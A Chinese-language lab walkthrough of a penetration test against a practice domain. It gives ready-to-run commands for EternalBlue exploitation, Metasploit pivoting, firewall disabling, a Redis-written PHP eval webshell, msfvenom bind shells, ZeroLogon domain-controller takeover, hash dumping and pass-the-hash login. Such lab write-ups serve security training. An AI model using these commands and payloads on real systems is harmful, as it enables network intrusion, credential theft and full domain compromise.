实际部署之后的win7 ip: 192.168.127.128
具体攻击过程如下
win7
扫描服务
使用fscan扫描win 7中的服务以及漏洞
./fscan -h 192.168.127.128
扫出来一个ms17-010
以及通达oa的漏洞,既然有永恒之蓝的,直接上MSF
就行了
msf6 > search ms17-010
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.127.128
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.127.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 32463
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
成功拿到meterpreter
查看当前主机的网段信息
这里假装不知道当前主机的网段信息
meterpreter > shell
C:\Windows\system32>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : win7-PC
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : localdomain
Ethernet adapter Bluetooth θçl½Ѻ
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Bluetooth ʨ±¸(¸)
Physical Address. . . . . . . . . : 3C-58-C2-68-2A-6C
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Ethernet adapter ±¾µف¬½Ѡ2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
Physical Address. . . . . . . . . : 00-0C-29-D7-3A-42
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::acaf:ab76:dfe8:2c06%13(Preferred)
IPv4 Address. . . . . . . . . . . : 10.0.20.98(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 301993001
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-29-22-BE-AC-00-0C-29-B3-DB-08
DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter ±¾µف¬½Ѻ
Connection-specific DNS Suffix . : localdomain
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-D7-3A-38
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::4501:76e7:5c8e:86a1%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.127.128(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : 2024Ū7Ղ12ɕ 8:09:34
Lease Expires . . . . . . . . . . : 2024Ū7Ղ12ɕ 14:54:26
Default Gateway . . . . . . . . . :
DHCP Server . . . . . . . . . . . : 192.168.127.254
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-29-22-BE-AC-00-0C-29-B3-DB-08
DNS Servers . . . . . . . . . . . : 192.168.127.1
NetBIOS over Tcpip. . . . . . . . : Enabled
可以看出来当前主机并没有处于域环境,而且存在192.168.127.1/24
和10.0.20.1/24
两个网段
横向移动拿下win2016
设置路由
run post/multi/manage/autoroute #自动添加路由
run autoroute -p #打印查看的路由
可见10.0.20.1/24
网段已经被添加进去了
扫描内网主机
扫描内网主机的方式有很多种,也可以直接使用MSF
进行扫描,也可以上传一个fscan
进行扫描,也可以直接搭建一个socks代理服务
进行扫描
扫描存活
这里使用arp
扫描
use post/windows/gather/arp_scanner
set rhosts 10.0.20.1-254
set session 1
run
扫描结果
10.0.20.99
是未知的内网主机,接下来就对其进横向移动
先搭建一个socks5
代理,然后通过nmap
进行扫描10.0.20.99
目标开放的服务
socks5代理搭建
background
use auxiliary/server/socks_proxy #搭建代理服务,默认端口1080
run
搭建完之后,使用proxychains4
结合扫描工具进行扫描,proxychains4
需要在/etc/proxychains4.conf
文件修改代理配置,这里不在赘述。
nmap扫描目标主机开放服务
挂上代理,扫描特别慢,这里就扫描部分端口
proxychains nmap -Pn -sT 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080
扫描结果
Host is up (12s latency).
PORT STATE SERVICE
22/tcp closed ssh
23/tcp closed telnet
80/tcp open http
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds
1433/tcp closed ms-sql-s
3306/tcp closed mysql
3389/tcp closed ms-wbt-server
6379/tcp open redis
8080/tcp closed http-proxy
可见目标主机开启了80,6379
端口
扫描10.0.20.99
目标主机80
端口目录
在使用msf
中的socks代理结合dirsearch
目录扫描工具时,老是把代理扫崩,所以直接使用windows自带的netsh端口转发
,将wind7系统的5631
端口转发给内网主机win2016
的80
端口上面,这样就可以不使用代理来访问内网主机中的web服务了。
使用Netsh端口转发
在win7的shell中执行这个命令即可
#关闭win7防火墙
netsh firewall set opmode mode = disable
#进行端口转发
netsh interface portproxy add v4tov4 listenport=5631 connectaddress=10.0.20.99 connectport=80
此时访问win7的5631
端口就能访问到win2016
主机的80
端口了
由于给win7主机切换了一下网卡,导致其出网网卡的IP变为192.168.129.130
了
使用dirsearch
进行目录扫描
python3 dirsearch.py -u http://192.168.127.130:5631/
扫描结果
l.php
是一个探针
phpinfo
也没啥好说的,由此看来80
端口应该是没什么打的了,那试试6379
端口
redis未授权写入webshell
redis
最经典的漏洞莫非未授权了,先试试未授权
proxychains redis-cli -h 10.0.20.99
发现可以直接连上,那就是未授权了,直接打就完了,在phpinfo和探针里面都可以获取到web网站的路径,路径已知,那就写个🐎上去。
config set dir "C:/phpStudy/PHPTutorial/www/"
config set dbfilename a.php
set x "<?php @eval($_POST['cmd']);?>"
save
webshell
写入成功,尝试蚁剑连接
连接成功,此时win2016
这台主机就已经拿下了。
在win2016主机中查看当前网络信息,可以看到主DNS后缀,说明其是域内主机,并且发现了一个未知的IP段10.0.10.1/24
MSF上线win2016
我的思路是先使用msf上线win2016, 然后再进行横向移动到域控
msf生成正向的shell木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=7411 -f exe -o 7411.exe
将生成的木马通过蚁剑上传到win2016中
然后蚁剑中将win2016的防火墙关闭,要不然正向shell连不进去
netsh firewall set opmode mode = disable
打开MSF
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.20.99
set lport 7411
run
然后在蚁剑中运行木马
成功拿到了win2016的meterpreter
然后在进行一个进程迁移,省的一会再掉线了
run post/windows/manage/migrate
通过arp缓存查看内网主机
arp -a
刚刚我们看到的10.0.10.1/24
网段只有一个10.0.10.110
主机,那这个ip也大概就是域控,或者直接通过MSF查看
run post/windows/gather/enum_domain
域控
扫描域控
通过蚁剑在win2016中上上传一个fscan
,扫一下域控,看看开放了什么端口,有没有部署其他的服务。
开放了一些端口,没扫出来什么漏洞。
为域控添加路由
在win2016的meterpreter
中执行
run post/multi/manage/autoroute
设置win2016为代理服务器
use auxiliary/server/socks_proxy
run
在下一步怎么进展这卡了半天,最后还是看官方文档的步骤才搞出来的
使用 # ZeroLogon (CVE-2020-1472)
POC: https://github.com/dirkjanm/CVE-2020-1472
按照传闻,运行这个脚本会将域控密码置空,说实在的,有点离谱😲
proxychains python cve-2020-1472-exploit.py WIN2019 10.0.10.110
dump域控的hash,这里使用kali自带的impacket-secretsdump
工具
proxychains4 impacket-secretsdump vulntarget.com/win2019\$@10.0.10.110 -no-pass
拿到hash之后,再使用WMIC进行登入到域控
proxychains4 impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 ./administrator@10.0.10.110
拿下域控☠️
总结
说一下思路,先使用永恒之蓝漏洞打win7
,然后在将win2016
的web端口给转发出来,通过扫描目录看到phpinfo
文件,得到网站目录,然后再通过redis未授权
漏洞写入shell,拿下win2016
,域控是用CVE-2020-1472
打的。